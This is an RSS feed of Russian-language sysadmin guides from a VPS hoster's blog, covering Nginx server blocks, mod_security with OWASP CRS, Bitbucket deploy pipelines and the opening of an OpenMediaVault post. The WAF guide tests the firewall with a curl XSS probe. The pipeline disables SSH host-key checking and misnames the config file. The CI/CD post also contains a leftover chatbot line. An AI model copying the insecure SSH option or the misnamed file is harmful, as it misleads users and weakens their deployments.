<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Марина Кольцова &#8211; Community</title>
	<atom:link href="https://cloudvps.by/community/author/marina/feed/" rel="self" type="application/rss+xml" />
	<link>https://cloudvps.by/community</link>
	<description></description>
	<lastBuildDate>Mon, 29 Dec 2025 07:29:39 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Поддержка нескольких сайтов на одном VPS через Nginx</title>
		<link>https://cloudvps.by/community/podderzhka-neskolkih-sajtov-na-odnom-vps-cherez-nginx/</link>
					<comments>https://cloudvps.by/community/podderzhka-neskolkih-sajtov-na-odnom-vps-cherez-nginx/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 25 Sep 2025 07:57:56 +0000</pubDate>
				<category><![CDATA[Гайды]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4443</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/podderzhka-neskolkih-sajtov-na-odnom-vps-cherez-nginx/">Поддержка нескольких сайтов на одном VPS через Nginx</a>">%POSTTITLE%</a></p>
<p>Когда у меня появился первый VPS, я разместила на нём один проект и подумала: «Ну, места хватает, ресурсов тоже — зачем платить ещё за второй сервер?». И тут встал вопрос: как правильно держать несколько сайтов на одном VPS, чтобы всё работало быстро, безопасно и без конфликта портов? Ответом стал Nginx с его поддержкой виртуальных хостов [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/podderzhka-neskolkih-sajtov-na-odnom-vps-cherez-nginx/">Поддержка нескольких сайтов на одном VPS через Nginx</a>">%POSTTITLE%</a></p>

<p>Когда у меня появился первый <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, я разместила на нём один проект и подумала: «Ну, места хватает, ресурсов тоже — зачем платить ещё за второй сервер?». И тут встал вопрос: <strong>как правильно держать несколько сайтов на одном VPS, чтобы всё работало быстро, безопасно и без конфликта портов?</strong> Ответом стал <strong>Nginx</strong> с его поддержкой виртуальных хостов (server blocks).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему Nginx подходит для нескольких сайтов</h2>



<p>Nginx изначально спроектирован как лёгкий и быстрый веб-сервер. Его архитектура «одно ядро — много соединений» позволяет без проблем обслуживать десятки сайтов даже на скромных конфигурациях. Главное — правильно прописать <strong>server blocks</strong> (виртуальные хосты).</p>



<p>Плюсы:</p>



<ul class="wp-block-list">
<li>экономия на инфраструктуре (несколько сайтов — один VPS);</li>



<li>изоляция конфигураций (каждый домен живёт в своём блоке);</li>



<li>удобное масштабирование (добавил конфиг — получил новый сайт).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 1. Структура каталогов</h2>



<p>Чтобы не запутаться, лучше сразу завести отдельные папки:</p>



<pre class="wp-block-code"><code>/var/www/
  ├── site1.com/
  │   └── public_html/
  ├── site2.org/
  │   └── public_html/
</code></pre>



<p>Каждый сайт хранится в своей директории, права доступа — через владельца (<code>chown -R www-data:www-data</code>).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 2. Настройка Nginx под несколько доменов</h2>



<p>Файлы конфигурации создаём в <code>/etc/nginx/sites-available/</code>. Например:</p>



<p><strong>Для site1.com:</strong></p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name site1.com www.site1.com;

    <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root</a> /var/www/site1.com/public_html;
    index index.html index.php;

    location / {
        try_files $uri $uri/ =404;
    }
}
</code></pre>



<p><strong>Для site2.org:</strong></p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name site2.org www.site2.org;

    root /var/www/site2.org/public_html;
    index index.html index.php;

    location / {
        try_files $uri $uri/ =404;
    }
}
</code></pre>



<p>Дальше активируем:</p>



<pre class="wp-block-code"><code>sudo ln -s /etc/nginx/sites-available/site1.com /etc/nginx/sites-enabled/
sudo ln -s /etc/nginx/sites-available/site2.org /etc/nginx/sites-enabled/
</code></pre>



<p>И проверяем конфиг:</p>



<pre class="wp-block-code"><code>sudo nginx -t
sudo systemctl reload nginx
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 3. SSL для каждого домена</h2>



<p>Без <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">HTTPS</a> сегодня никуда. Самый удобный способ — <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/lets-encrypt/" data-internallinksmanager029f6b8e52c="319" title="Let’s Encrypt">Let’s Encrypt</a></strong> через Certbot:</p>



<pre class="wp-block-code"><code>sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d site1.com -d www.site1.com
sudo certbot --nginx -d site2.org -d www.site2.org
</code></pre>



<p>Nginx автоматически обновит конфиги, добавит <code>listen 443 <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssl/" data-internallinksmanager029f6b8e52c="219" title="SSL (Secure Sockets Layer)">ssl</a></code> и привяжет <a href="https://cloudvps.by/community/docs/glossarij/terminy/certificate-pinning/" data-internallinksmanager029f6b8e52c="284" title="Certificate Pinning (Защита канала связи)">сертификаты</a>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 4. Логи и мониторинг</h2>



<p>Каждый сайт получает свои логи:</p>



<pre class="wp-block-code"><code>access_log /var/log/nginx/site1.access.log;
error_log  /var/log/nginx/site1.error.log;
</code></pre>



<p>То же для второго. Это сильно облегчает отладку — видно, где проблемы.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Личный опыт </h2>



<p>У меня был VPS на 2 ГБ RAM, где жили одновременно:</p>



<ul class="wp-block-list">
<li>мой блог на WordPress,</li>



<li>тестовый сайт для клиента,</li>



<li>и мини-портфолио.</li>
</ul>



<p>Все три сайта работали на одном Nginx, и сервер держал нагрузку без проблем. Самая большая ошибка, которую я совершила вначале, — разместила все проекты в одной директории. Потом при обновлениях начался хаос. Поэтому совет: <strong>держите жёсткую структуру директорий и аккуратно прописывайте права</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Полезные советы</h2>



<ul class="wp-block-list">
<li>используйте <strong>fail2ban</strong> для защиты от переборов по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a> и HTTP;</li>



<li>включайте <strong>gzip/brotli</strong> в Nginx для оптимизации скорости;</li>



<li>ставьте <strong>PHP-FPM пулы отдельно для каждого сайта</strong> (если проекты на PHP).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p>Поддерживать несколько сайтов на одном VPS через Nginx — это реально и удобно. Главное — структурировать каталоги, грамотно прописывать server blocks и позаботиться про HTTPS. Такой подход отлично подходит для блогов, лендингов и даже средних e-commerce проектов.</p>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/podderzhka-neskolkih-sajtov-na-odnom-vps-cherez-nginx/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка mod_security для Apache на VPS</title>
		<link>https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/</link>
					<comments>https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Fri, 19 Sep 2025 11:28:57 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4391</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/">Настройка mod_security для Apache на VPS</a>">%POSTTITLE%</a></p>
<p>Когда вы открываете свой сервер в интернет, вы по сути бросаете вызов всему миру: от случайных сканеров до целенаправленных атак. Одним из простых и мощных способов защититься — это mod_security. Расскажу, как я настраивала его на Apache на своём VPS и что из этого получилось. Что такое mod_security и зачем он нужен? mod_security — это [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/">Настройка mod_security для Apache на VPS</a>">%POSTTITLE%</a></p>

<p>Когда вы открываете свой сервер в интернет, вы по сути бросаете вызов всему миру: от случайных сканеров до целенаправленных атак. Одним из простых и мощных способов защититься — это <strong>mod_security</strong>. Расскажу, как я настраивала его на Apache на своём <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> и что из этого получилось.</p>



<h2 class="wp-block-heading">Что такое mod_security и зачем он нужен?</h2>



<p><strong>mod_security</strong> — это веб-аппликационный <a href="https://cloudvps.by/community/docs/glossarij/terminy/firewall/" data-internallinksmanager029f6b8e52c="198" title="Firewall (Брандмауэр)">firewall</a> (<a href="https://cloudvps.by/community/docs/glossarij/terminy/waf/" data-internallinksmanager029f6b8e52c="305" title="WAF (Web Application Firewall)">WAF</a>), который работает в связке с веб-сервером Apache (или Nginx, но там немного сложнее). Он перехватывает HTTP-запросы до того, как они попадают к вашему приложению. Например, кто-то решил проверить, есть ли у вас уязвимости SQL-инъекций — mod_security может «поймать» такой запрос и заблокировать его.</p>



<p>Это не серебряная пуля, но для старта — очень достойный уровень защиты. Особенно если вы хостите WordPress, Laravel, Bitrix или любое другое приложение, которое часто становится целью ботов и сканеров.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка mod_security на VPS с Apache</h2>



<p>Я использую <strong>Ubuntu 22.04 LTS</strong>. Установка — дело двух команд:</p>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install libapache2-mod-security2 -y
</code></pre>



<p>После установки модуль автоматически активируется, но работает в <strong>режиме обнаружения</strong> (<em>Detection Only</em>) — то есть он пишет в лог, но не блокирует. Это хорошо на старте, чтобы не забанить случайно половину легитимных пользователей.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Перевод в режим блокировки (On)</h2>



<p>Открываем основной конфиг:</p>



<pre class="wp-block-code"><code>sudo nano /etc/modsecurity/modsecurity.conf-recommended
</code></pre>



<p>Находим строку:</p>



<pre class="wp-block-code"><code>SecRuleEngine DetectionOnly
</code></pre>



<p>И меняем на:</p>



<pre class="wp-block-code"><code>SecRuleEngine On
</code></pre>



<p>Затем сохраняем файл как <code>modsecurity.conf</code>:</p>



<pre class="wp-block-code"><code>sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Подключаем базовые правила OWASP CRS</h2>



<p><strong>OWASP ModSecurity Core Rule Set (CRS)</strong> — это набор уже готовых правил, заточенных под реальные угрозы. Подключить их — это must-have:</p>



<pre class="wp-block-code"><code>cd /usr/share
sudo git clone <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
sudo cp -r rules /etc/modsecurity/
sudo cp crs-setup.conf /etc/modsecurity/
</code></pre>



<p>Теперь подключаем эти правила в Apache:</p>



<pre class="wp-block-code"><code>sudo nano /etc/apache2/mods-enabled/security2.conf
</code></pre>



<p>Добавляем в конец:</p>



<pre class="wp-block-code"><code>IncludeOptional /etc/modsecurity/crs-setup.conf
IncludeOptional /etc/modsecurity/rules/*.conf
</code></pre>



<p>Сохраняем и перезапускаем Apache:</p>



<pre class="wp-block-code"><code>sudo systemctl restart apache2
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Проверка работы</h2>



<p>Самый <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a> способ — попробовать с curl:</p>



<pre class="wp-block-code"><code>curl http://yourdomain.com/?param=%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>



<p>Если mod_security работает, вы получите ошибку 403, а в логе <code>/var/log/apache2/modsec_audit.log</code> появится запись о блокировке XSS-инъекции.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Где хранятся логи?</h2>



<p>По умолчанию:</p>



<ul class="wp-block-list">
<li><code>/var/log/apache2/modsec_audit.log</code> — полные логи по событиям.</li>



<li><code>/var/log/apache2/error.log</code> — общие ошибки Apache, иногда срабатывает сюда.</li>
</ul>



<p>Очень полезно поставить tail в реальном времени:</p>



<pre class="wp-block-code"><code>sudo tail -f /var/log/apache2/modsec_audit.log
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Фильтрация по IP и whitelist</h2>



<p>Если вы заметили, что mod_security слишком агрессивен (например, блокирует ваш <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>), можно добавить исключения. Пример исключения по URI:</p>



<pre class="wp-block-code"><code>SecRule REQUEST_URI "@beginsWith /api" "id:1234,phase:1,nolog,allow,ctl:ruleEngine=Off"
</code></pre>



<p>Можно добавить whitelist по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>:</p>



<pre class="wp-block-code"><code>SecRule REMOTE_ADDR "^123\.123\.123\.123$" "id:1000,phase:1,nolog,allow"
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Советы по производительности</h2>



<ul class="wp-block-list">
<li>Не включайте слишком много правил, особенно если трафик большой.</li>



<li>Используйте <code>ctl:ruleRemoveById</code> для отключения конкретных правил.</li>



<li>Храните копии конфигов — особенно <code>modsecurity.conf</code> и <code>crs-setup.conf</code>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Итого&#8230;</h2>



<p>mod_security — это бесплатный и мощный инструмент для фильтрации веб-трафика. Я на своём VPS теперь чувствую себя гораздо спокойнее: каждый входящий запрос фильтруется, попытки атак логируются, а лишний шум блокируется ещё до того, как дойдёт до PHP.</p>



<p>Если вы ещё не ставили его на свой сервер — очень советую. Это одна из тех вещей, которую ты один раз настраиваешь, а потом она спасает тебе часы и нервы.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Создание CI/CD пайплайна с Bitbucket + VPS: автоматизация деплоя по‑человечески</title>
		<link>https://cloudvps.by/community/sozdanie-ci-cd-pajplajna-s-bitbucket-vps/</link>
					<comments>https://cloudvps.by/community/sozdanie-ci-cd-pajplajna-s-bitbucket-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 11:57:26 +0000</pubDate>
				<category><![CDATA[Автоматизация]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4385</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sozdanie-ci-cd-pajplajna-s-bitbucket-vps/">Создание CI/CD пайплайна с Bitbucket + VPS: автоматизация деплоя по‑человечески</a>">%POSTTITLE%</a></p>
<p>Когда я впервые столкнулась с задачей автоматизации доставки кода на VPS, выбор пал на Bitbucket Pipelines. Он простой, встроен в репозиторий и не требует отдельной установки Jenkins, GitLab CI или других тяжеловесных решений. На выходе получился удобный и устойчивый CI/CD пайплайн, который я с тех пор многократно масштабировала под разные проекты. Что нам нужно: Что [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sozdanie-ci-cd-pajplajna-s-bitbucket-vps/">Создание CI/CD пайплайна с Bitbucket + VPS: автоматизация деплоя по‑человечески</a>">%POSTTITLE%</a></p>

<p>Когда я впервые столкнулась с задачей автоматизации доставки кода на <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, выбор пал на <strong>Bitbucket Pipelines</strong>. Он <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a>, встроен в репозиторий и не требует отдельной установки <a href="https://cloudvps.by/community/docs/glossarij/terminy/jenkins/" data-internallinksmanager029f6b8e52c="371" title="Jenkins (Инструмент CI/CD с открытым исходным кодом)">Jenkins</a>, GitLab <a href="https://cloudvps.by/community/docs/glossarij/terminy/continuous-integration/" data-internallinksmanager029f6b8e52c="369" title="Continuous Integration (CI)">CI</a> или других тяжеловесных решений. На выходе получился удобный и устойчивый <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/gitlab-ci-cd/" data-internallinksmanager029f6b8e52c="372" title="GitLab CI/CD (Непрерывная интеграция и доставка в GitLab)">CI/CD</a> пайплайн</strong>, который я с тех пор многократно масштабировала под разные проекты.</p>



<h3 class="wp-block-heading">Что нам нужно:</h3>



<ul class="wp-block-list">
<li>Bitbucket-репозиторий с включёнными Pipelines</li>



<li>VPS с доступом по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a></li>



<li><a href="https://cloudvps.by/community/docs/glossarij/terminy/docker/" data-internallinksmanager029f6b8e52c="258" title="Docker">Docker</a> или Nginx (по желанию)</li>



<li>Скрипт деплоя или <code>rsync</code>, если проект не в контейнерах</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что такое pipeline?</h2>



<p><strong>Pipeline — это последовательность шагов</strong>, которые выполняются при каждом коммите, пуше или pull-запросе. В контексте CI/CD (Continuous Integration/<a href="https://cloudvps.by/community/docs/glossarij/terminy/continuous-delivery/" data-internallinksmanager029f6b8e52c="370" title="Continuous Delivery (CD)">Continuous Delivery</a>) пайплайн автоматизирует сборку, тестирование и деплой проекта.</p>



<p>В Bitbucket пайплайны описываются в YAML-файле <code>.bitbucket-pipelines.yml</code>, который лежит в корне проекта. Всё, что нужно — задать шаги: сборка, тесты, деплой, уведомления и т. д.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Мой конфиг <code>.bitbucket-pipelines.yml</code></h2>



<p>Вот пример того, как я настраиваю CI/CD pipeline для обычного Python + Flask проекта:</p>



<pre class="wp-block-code"><code>image: python:3.11

pipelines:
  branches:
    main:
      - step:
          name: Deploy to VPS
          caches:
            - pip
          script:
            - pip install -r requirements.txt
            - scp -o StrictHostKeyChecking=no -r ./ myuser@your.vps.<a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">ip</a>:/home/myuser/project
            - ssh myuser@your.vps.ip 'cd /home/myuser/project &amp;&amp; systemctl restart flask-app'
</code></pre>



<p>Здесь:</p>



<ul class="wp-block-list">
<li>устанавливаем зависимости,</li>



<li>копируем проект на VPS по SSH,</li>



<li>и перезапускаем systemd-сервис приложения.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Переменные окружения и SSH-доступ</h2>



<p>Bitbucket позволяет <strong>безопасно хранить SSH-ключи и <a href="https://cloudvps.by/community/docs/glossarij/terminy/token-based-authentication/" data-internallinksmanager029f6b8e52c="311" title="Token-based Authentication">токены</a></strong> через интерфейс <em>Repository Settings → Pipelines → Repository variables</em>. Чтобы соединение <code>scp</code> и <code>ssh</code> в пайплайне работало, я:</p>



<ol class="wp-block-list">
<li>Создаю SSH-ключ командой:</li>
</ol>



<pre class="wp-block-code"><code>ssh-keygen -t rsa -b 4096 -C "ci@bitbucket"
</code></pre>



<ol start="2" class="wp-block-list">
<li>Публичный ключ (<code>.pub</code>) добавляю на VPS в <code>~/.ssh/authorized_keys</code>.</li>



<li>Приватный ключ (<code>id_rsa</code>) добавляю в Bitbucket как <code>DEPLOY_KEY</code>.</li>



<li>В скрипте прописываю:</li>
</ol>



<pre class="wp-block-code"><code>script:
  - echo "$DEPLOY_KEY" &gt; id_rsa
  - chmod 600 id_rsa
  - ssh -i id_rsa ...
</code></pre>



<p>Теперь <strong>деплой полностью автоматизирован</strong>, а доступ — защищён.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Деплой через Docker</h2>



<p>Если проект упакован в Docker, пайплайн становится чище. Я обычно пушу образ в Docker Hub, а VPS тянет его сам:</p>



<pre class="wp-block-code"><code>pipelines:
  default:
    - step:
        name: Build and Push Docker Image
        script:
          - docker build -t mydockerhubuser/myproject:latest .
          - echo "$DOCKER_PASSWORD" | docker login -u "$DOCKER_USERNAME" --password-stdin
          - docker push mydockerhubuser/myproject:latest
</code></pre>



<p>А на сервере:</p>



<pre class="wp-block-code"><code>docker pull mydockerhubuser/myproject:latest
docker compose up -d
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Нюансы и удобства</h2>



<p>Bitbucket Pipelines умеет:</p>



<ul class="wp-block-list">
<li>делать <strong>разные пайплайны по веткам</strong> (<code>main</code>, <code>dev</code>, <code>release</code>);</li>



<li>триггерить пайплайны вручную;</li>



<li>интегрироваться с <strong>Slack / Telegram</strong> через webhook;</li>



<li>логировать каждый шаг для отладки.</li>
</ul>



<p>Также удобно, что можно задать <strong>startLimitBurst</strong>, <code>restart=on-failure</code>, <code>RestartSec=5s</code> в <code>systemd</code>, чтобы сервис перезапускался сам при падении (см. <a>статью про auto-healing с systemd</a>).</p>



<p>Отлично! Вот <strong>Часть 3/3</strong> статьи по теме <strong>«Создание CI/CD пайплайна с Bitbucket + VPS»</strong> — логично завершённая, с финальными разделами и SEO-блоком.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Мониторинг CI/CD и логика откатов</h2>



<p>Когда пайплайн готов, важно <strong>наблюдать за ним</strong>: вдруг один из шагов будет падать после обновлений зависимостей, изменения <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>, банального <code>timeout</code>.</p>



<p>Я использую Telegram-бота, который присылает мне сообщения об успехе или провале:</p>



<pre class="wp-block-code"><code>- curl -X POST <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://api.telegram.org/bot$TG_TOKEN/sendMessage \
  -d chat_id=$TG_CHAT_ID \
  -d text=" Деплой успешно завершён на $BITBUCKET_BRANCH"
</code></pre>



<p>Добавляю это в <code>after-script</code>, чтобы знать, <strong>даже если всё упало</strong>.</p>



<p>Также на сервере у меня настроено:</p>



<ul class="wp-block-list">
<li><strong>fail2ban</strong> — блокирует IP при подозрительной активности;</li>



<li><strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/uptime/" data-internallinksmanager029f6b8e52c="232" title="Uptime (Аптайм)">Uptime</a> Kuma</strong> — следит за тем, что сайт доступен;</li>



<li><strong>systemd</strong> с <code>Restart=on-failure</code>, чтобы приложение не падало навсегда.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Когда стоит выбрать не Bitbucket Pipelines</h2>



<p>Bitbucket отлично справляется с CI/CD, но у него есть ограничения:</p>



<ul class="wp-block-list">
<li>бесплатный тариф ограничен 50 минутами в месяц (хватает для простых проектов);</li>



<li>иногда сложно настроить развёртывание на несколько серверов или сложные пайплайны.</li>
</ul>



<p>В таких случаях можно:</p>



<ul class="wp-block-list">
<li>перейти на <strong>GitHub Actions</strong> (больше интеграций и шаблонов);</li>



<li>использовать <strong>GitLab CI</strong> — там всё в одном: git + CI/CD + registry.</li>
</ul>



<p>Я использовала Bitbucket Pipelines, когда:</p>



<ul class="wp-block-list">
<li>проект был <strong>на Flask или Laravel</strong>, с одним VPS;</li>



<li>нужен был <strong>простой и понятный конфиг</strong>;</li>



<li>хотелось <strong>не тратить лишнее время</strong> на Jenkins и т.д.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что я думаю&#8230;</h2>



<p>Создание CI/CD пайплайна через Bitbucket и VPS — это не так страшно, как кажется. Нужно один раз всё собрать, протестировать — и дальше разработка идёт <strong>в удовольствие</strong>: никаких «заходи на сервер, перезагрузи руками», никаких «ой, забыла скопировать .env».</p>



<p>На проекте у меня это выглядит так:</p>



<ul class="wp-block-list">
<li>пушу код → пайплайн собирает и деплоит → Telegram уведомляет → сайт обновлён.</li>
</ul>



<p>Экономия времени? Колоссальная.<br>Ошибок? Почти нет.<br>Покой? Почти дзен <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60c.png" alt="😌" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/sozdanie-ci-cd-pajplajna-s-bitbucket-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Установка OpenMediaVault на VPS: превращаем сервер в NAS-хранилище</title>
		<link>https://cloudvps.by/community/ustanovka-openmediavault-na-vps/</link>
					<comments>https://cloudvps.by/community/ustanovka-openmediavault-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Wed, 10 Sep 2025 16:09:56 +0000</pubDate>
				<category><![CDATA[Гайды]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4378</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/ustanovka-openmediavault-na-vps/">Установка OpenMediaVault на VPS: превращаем сервер в NAS-хранилище</a>">%POSTTITLE%</a></p>
<p>Честно скажу — идея поставить OpenMediaVault (OMV) на VPS не была для меня очевидной. Обычно OMV ставят на физические машины, чтобы превратить старенький ПК или маломощный сервер в сетевое хранилище (NAS). Но у меня стояла задача: нужен был простой способ управлять файлами, резервными копиями и доступом — удалённо, стабильно и без плясок с samba и [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/ustanovka-openmediavault-na-vps/">Установка OpenMediaVault на VPS: превращаем сервер в NAS-хранилище</a>">%POSTTITLE%</a></p>

<p>Честно скажу — идея поставить OpenMediaVault (OMV) на <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> не была для меня очевидной. Обычно OMV ставят на физические машины, чтобы превратить старенький ПК или маломощный сервер в сетевое хранилище (NAS). Но у меня стояла задача: нужен был <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a> способ управлять файлами, резервными копиями и доступом — удалённо, стабильно и без плясок с samba и webdav. Так я и начала копать в сторону <strong>установки OpenMediaVault на VPS</strong>.</p>



<p>И это реально работает. Рассказываю, как я всё развернула.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



